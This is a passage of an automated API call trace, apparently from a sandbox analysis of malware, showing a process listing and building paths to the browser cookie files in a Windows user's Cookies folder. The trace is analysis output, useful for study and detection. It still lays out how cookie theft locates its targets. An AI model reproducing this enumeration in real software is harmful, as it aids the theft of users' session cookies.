pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@g.live[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@g.live[1].txt" [0111.658] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11dfd3d0, ftCreationTime.dwHighDateTime=0x1d2fb18, ftLastAccessTime.dwLowDateTime=0x9e660990, ftLastAccessTime.dwHighDateTime=0x1d35d5c, ftLastWriteTime.dwLowDateTime=0x9e660990, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@google[1].txt", cAlternateFileName="AETADZ~4.TXT")) returned 1 [0111.658] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.658] lstrlenW (lpString="aetadzjz@google[1].txt") returned 22 [0111.658] lstrlenW (lpString="*.txt") returned 5 [0111.658] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x102) returned 0x9a6e010 [0111.658] wcscpy (in: _Dest=0x9a6e038, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0111.658] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a6005c) returned 0x0 [0111.658] PathCombineW (in: pszDest=0x9a6e038, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", pszFile="aetadzjz@google[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@google[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@google[1].txt" [0111.658] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6a29610, ftCreationTime.dwHighDateTime=0x1d2fb16, ftLastAccessTime.dwLowDateTime=0xc6a29610, ftLastAccessTime.dwHighDateTime=0x1d2fb16, ftLastWriteTime.dwLowDateTime=0xc6a29610, ftLastWriteTime.dwHighDateTime=0x1d2fb16, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@live[1].txt", cAlternateFileName="AETADZ~1.TXT")) returned 1 [0111.658] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.658] lstrlenW (lpString="aetadzjz@live[1].txt") returned 20 [0111.658] lstrlenW (lpString="*.txt") returned 5 [0111.658] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xfe) returned 0x9a6e120 [0111.658] wcscpy (in: _Dest=0x9a6e148, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0111.658] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a6005c) returned 0x0 [0111.658] PathCombineW (in: pszDest=0x9a6e148, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", pszFile="aetadzjz@live[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@live[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\aetadzjz@live[1].txt" [0111.658] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6a29610, ftCreationTime.dwHighDateTime=0x1d2fb16, ftLastAccessTime.dwLowDateTime=0xc6a29610, ftLastAccessTime.dwHighDateTime=0x1d2fb16, ftLastWriteTime.dwLowDateTime=0xc6a29610, ftLastWriteTime.dwHighDateTime=0x1d2fb16, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@live[1].txt", cAlternateFileName="AETADZ~1.TXT")) returned 0 [0111.658] FindClose (in: hFindFile=0x4466880 | out: hFindFile=0x4466880) returned 1 [0111.659] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*" [0111.659] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x9e660990, ftLastAccessTime.dwHighDateTime=0x1d35d5c, ftLastWriteTime.dwLowDateTime=0x9e660990, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466880 [0111.659] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x9e660990, ftLastAccessTime.dwHighDateTime=0x1d35d5c, ftLastWriteTime.dwLowDateTime=0x9e660990, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.659] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.659] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6a29610, ftCreationTime.dwHighDateTime=0x1d2fb16, ftLastAccessTime.dwLowDateTime=0xc6a29610, ftLastAccessTime.dwHighDateTime=0x1d2fb16, ftLastWriteTime.dwLowDateTime=0xc6a29610, ftLastWriteTime.dwHighDateTime=0x1d2fb16, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@g.live[1].txt", cAlternateFileName="AETADZ~3.TXT")) returned 1 [0111.659] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.659] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11dfd3d0, ftCreationTime.dwHighDateTime=0x1d2fb18, ftLastAccessTime.dwLowDateTime=0x9e660990, ftLastAccessTime.dwHighDateTime=0x1d35d5c, ftLastWriteTime.dwLowDateTime=0x9e660990, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@google[1].txt", cAlternateFileName="AETADZ~4.TXT")) returned 1 [0111.659] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.659] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6a29610, ftCreationTime.dwHighDateTime=0x1d2fb16, ftLastAccessTime.dwLowDateTime=0xc6a29610, ftLastAccessTime.dwHighDateTime=0x1d2fb16, ftLastWriteTime.dwLowDateTime=0xc6a29610, ftLastWriteTime.dwHighDateTime=0x1d2fb16, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@live[1].txt", cAlternateFileName="AETADZ~1.TXT")) returned 1 [0111.659] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.659] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xe220fb50, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0111.659] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.659] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fa00 | out: lpFindFileData=0x9b6fa00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x26403640, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0111.659] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.659] lstrlenW (lpString="Low") returned 3 [0111.659] PathCombineW (in: pszDest=0x9b6fc60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", pszFile="Low" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.659] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e230 [0111.659] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x40 [0111.659] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x80) returned 0x9a6e490 [0111.659] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", lpDst=0x9a6e490, nSize=0x40 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned 0x40 [0111.659] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned 63 [0111.659] lstrlenW (lpString="*.txt") returned 5 [0111.659] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e520 [0111.659] PathCombineW (in: pszDest=0x9a6e520, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="*.txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*.txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*.txt" [0111.659] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*.txt", lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0a2ff40, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0a2ff40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ad.360yield[2].txt", cAlternateFileName="AE49C0~1.TXT")) returned 0x44668e0 [0111.665] lstrlenW (lpString="aetadzjz@ad.360yield[2].txt") returned 27 [0111.665] lstrlenW (lpString="*.txt") returned 5 [0111.665] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x112) returned 0x9a91840 [0111.665] wcscpy (in: _Dest=0x9a91868, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.665] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.665] PathCombineW (in: pszDest=0x9a91868, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@ad.360yield[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ad.360yield[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ad.360yield[2].txt" [0111.665] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x193d0e80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aebe760, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aebe760, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ad13.adfarm1.adition[2].txt", cAlternateFileName="AEFBAE~1.TXT")) returned 1 [0111.665] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.665] lstrlenW (lpString="aetadzjz@ad13.adfarm1.adition[2].txt") returned 36 [0111.665] lstrlenW (lpString="*.txt") returned 5 [0111.665] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x124) returned 0x9a91960 [0111.665] wcscpy (in: _Dest=0x9a91988, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.665] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.666] PathCombineW (in: pszDest=0x9a91988, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@ad13.adfarm1.adition[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ad13.adfarm1.adition[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ad13.adfarm1.adition[2].txt" [0111.666] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd094b700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd094b700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@addthis[2].txt", cAlternateFileName="AE8806~1.TXT")) returned 1 [0111.666] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.666] lstrlenW (lpString="aetadzjz@addthis[2].txt") returned 23 [0111.666] lstrlenW (lpString="*.txt") returned 5 [0111.666] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10a) returned 0x9a91a90 [0111.666] wcscpy (in: _Dest=0x9a91ab8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.666] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.666] PathCombineW (in: pszDest=0x9a91ab8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@addthis[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@addthis[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@addthis[2].txt" [0111.666] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x193127a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aebe760, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aebe760, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adfarm1.adition[2].txt", cAlternateFileName="AEBA93~1.TXT")) returned 1 [0111.666] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.666] lstrlenW (lpString="aetadzjz@adfarm1.adition[2].txt") returned 31 [0111.666] lstrlenW (lpString="*.txt") returned 5 [0111.666] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11a) returned 0x9a91bb0 [0111.666] wcscpy (in: _Dest=0x9a91bd8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.666] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.666] PathCombineW (in: pszDest=0x9a91bd8, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@adfarm1.adition[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adfarm1.adition[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adfarm1.adition[2].txt" [0111.666] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd599100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd599100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd599100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adformdsp[2].txt", cAlternateFileName="AE565C~1.TXT")) returned 1 [0111.666] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.666] lstrlenW (lpString="aetadzjz@adformdsp[2].txt") returned 25 [0111.666] lstrlenW (lpString="*.txt") returned 5 [0111.666] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10e) returned 0x9a91ce0 [0111.666] wcscpy (in: _Dest=0x9a91d08, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.666] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.666] PathCombineW (in: pszDest=0x9a91d08, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@adformdsp[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adformdsp[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adformdsp[2].txt" [0111.666] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd2c56e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab527c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adform[2].txt", cAlternateFileName="AE357C~1.TXT")) returned 1 [0111.666] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.666] lstrlenW (lpString="aetadzjz@adform[2].txt") returned 22 [0111.666] lstrlenW (lpString="*.txt") returned 5 [0111.666] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x108) returned 0x9a91e00 [0111.666] wcscpy (in: _Dest=0x9a91e28, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.667] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.667] PathCombineW (in: pszDest=0x9a91e28, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@adform[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adform[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adform[2].txt" [0111.667] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e29a40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1c6400a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1c6400a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adnxs[2].txt", cAlternateFileName="AE127D~1.TXT")) returned 1 [0111.667] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.667] lstrlenW (lpString="aetadzjz@adnxs[2].txt") returned 21 [0111.667] lstrlenW (lpString="*.txt") returned 5 [0111.667] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x106) returned 0x9a91f10 [0111.667] wcscpy (in: _Dest=0x9a91f38, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.667] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.667] PathCombineW (in: pszDest=0x9a91f38, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@adnxs[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adnxs[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adnxs[2].txt" [0111.667] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05b9600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05b9600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05b9600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adscale[1].txt", cAlternateFileName="AE1307~1.TXT")) returned 1 [0111.667] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.667] lstrlenW (lpString="aetadzjz@adscale[1].txt") returned 23 [0111.667] lstrlenW (lpString="*.txt") returned 5 [0111.667] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10a) returned 0x9a92020 [0111.667] wcscpy (in: _Dest=0x9a92048, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.667] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.667] PathCombineW (in: pszDest=0x9a92048, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@adscale[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adscale[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adscale[1].txt" [0111.667] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd112dfe0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd117a2a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd117a2a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adserving.ancoraplatform[2].txt", cAlternateFileName="AE3EC5~1.TXT")) returned 1 [0111.667] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.667] lstrlenW (lpString="aetadzjz@adserving.ancoraplatform[2].txt") returned 40 [0111.667] lstrlenW (lpString="*.txt") returned 5 [0111.667] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x12c) returned 0x9a92140 [0111.667] wcscpy (in: _Dest=0x9a92168, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.667] StrRChrW (lpStart="*.txt", lpEnd=0x0, 